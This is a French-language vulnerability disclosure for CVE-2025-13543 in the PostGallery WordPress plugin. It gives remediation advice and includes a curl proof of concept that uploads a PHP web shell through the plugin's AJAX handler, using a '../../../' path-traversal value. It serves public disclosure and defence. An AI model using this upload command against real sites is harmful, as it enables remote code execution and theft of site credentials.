PostGallery-CVE-Report

Divulgation de CVE-2025-13543

CVE-2025-13543 - Vulnérabilité dans PostGallery

Ce dépôt divulgue une vulnérabilité découverte dans PostGallery <= 1.12.5, plugin WordPress développé par rtowebsites.

🛠 Version affectée

• Produit : PostGallery
• Version : <= 1.12.5
• URL : https://wordpress.org/plugins/postgallery/

🔒 CVE assignée

🧾 Description détaillée

CVE-2025-13543 — Téléversement arbitraire de fichiers (authentifié, Subscriber+)

• Composant affecté : gestionnaire de téléversement AJAX de PostGallery (postgalleryAjaxUpload) et backend PostGalleryUploader
• Vecteur d'attaque : téléversement arbitraire de fichiers par un utilisateur authentifié (Subscriber+) via traversée de répertoire.
• Déclencheur : tout utilisateur authentifié à faibles privilèges (comme un Subscriber) peut téléverser des fichiers PHP arbitraires vers des chemins contrôlés par l'attaquant via une traversée de répertoire.

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

• Impact : tout utilisateur authentifié à faibles privilèges (comme un Subscriber) peut téléverser des fichiers PHP arbitraires vers des chemins contrôlés par l'attaquant via une traversée de répertoire. Cela permet une exécution de code à distance dans le contexte du serveur web, conduisant à une compromission totale du site, notamment la modification du contenu du site, l'exfiltration de wp-config.php et des identifiants de base de données, le déploiement de portes dérobées persistantes et la création de comptes administrateur malveillants.

❓ Raison de la vulnérabilité

• Dans lib/ajax-actions/imageUpload.php, appliquez une autorisation appropriée (par exemple, exigez current_user_can('upload_files')) et validez un nonce cryptographique avant de traiter les téléversements.
• Dans admin/PostGalleryUploader.php, limitez strictement uploadFolder à un sous-répertoire connu de wp-content/uploads/gallery, rejetez toute valeur contenant ../ ou des chemins absolus, et normalisez les chemins avant utilisation.
• Utilisez les API de téléversement standard de WordPress telles que wp_handle_upload() / wp_check_filetype_and_ext() et limitez les téléversements à une liste blanche de types de médias non exécutables, en bloquant explicitement .php et toute autre extension exécutable dans les répertoires accessibles depuis le web.

Petit mot

Penser qu'une vulnérabilité digne d'un CTF puisse exister... Le téléversement arbitraire de fichiers est déjà catastrophique à lui seul, alors y ajouter une traversée de répertoire, c'est le désespoir. Reproduire la vulnérabilité a été très amusant.

🔍 Découvreur

Nom : MooseLove
Rôle : chercheur en sécurité indépendant / chasseur de bugs
Contact : disponible sur demande

📚 Références

• Produit : https://wordpress.org/plugins/postgallery/

⚠️ Licence

Cet avis est publié à des fins de sensibilisation à la sécurité publique. Libre de le partager avec mention de la source.